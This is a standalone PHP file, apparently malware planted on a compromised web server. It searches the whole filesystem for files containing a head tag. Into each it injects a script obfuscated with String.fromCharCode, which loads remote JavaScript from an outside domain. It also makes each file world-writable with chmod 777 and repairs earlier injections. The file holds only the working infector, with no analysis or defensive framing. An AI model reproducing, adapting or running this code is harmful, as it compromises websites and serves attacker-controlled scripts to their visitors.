some.php

<?php $a = 'find / -type f -name "*" | xargs grep -rl "<head"';
$l1 = "<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 52, 54, 44, 32, 53, 53, 44, 32, 53, 53, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));</script>";
$t = shell_exec($a);
$t = explode("\n", trim($t));
foreach($t as $f){

$g = file_get_contents($f);
    if (strpos($g, 'shell_exec') !== false) {
        continue;
    }
if (strpos($g, '115, 111, 109, 101, 115, 116, 114, 105, 110, 103') !== false) {
    $c4 = "103, 101, 116, 115, 116, 121, 112, 101, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101";
    $c5 = "103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101";
    $c6 = "99, 114, 101, 97, 116, 101, 115, 116, 121, 112, 101, 101, 110, 116";
    $c7 = "99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116";
    $g5 = str_replace($c4,$c5,$g);
    $g6 = str_replace($c6,$c7,$g5);
    @system("chmod 777 ".$f);
    @file_put_contents($f,$g6);

   echo "e:".$f;
} else {
$g = file_get_contents($f);
$g = str_replace("<head>","<head>".$l1,$g);
$g = str_replace("</head>",$l1."</head>",$g);
@system("chmod 777 ".$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, '115, 111, 109, 101, 115, 116, 114, 105, 110, 103') !== false) {
    $c4 = "103, 101, 116, 115, 116, 121, 112, 101, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101";
    $c5 = "103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101";
    $c6 = "99, 114, 101, 97, 116, 101, 115, 116, 121, 112, 101, 101, 110, 116";
    $c7 = "99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116";
    $g5 = str_replace($c4,$c5,$g);
    $g6 = str_replace($c6,$c7,$g5);
    @system("chmod 777 ".$f);
    @file_put_contents($f,$g6);

   echo $f;
}
}
}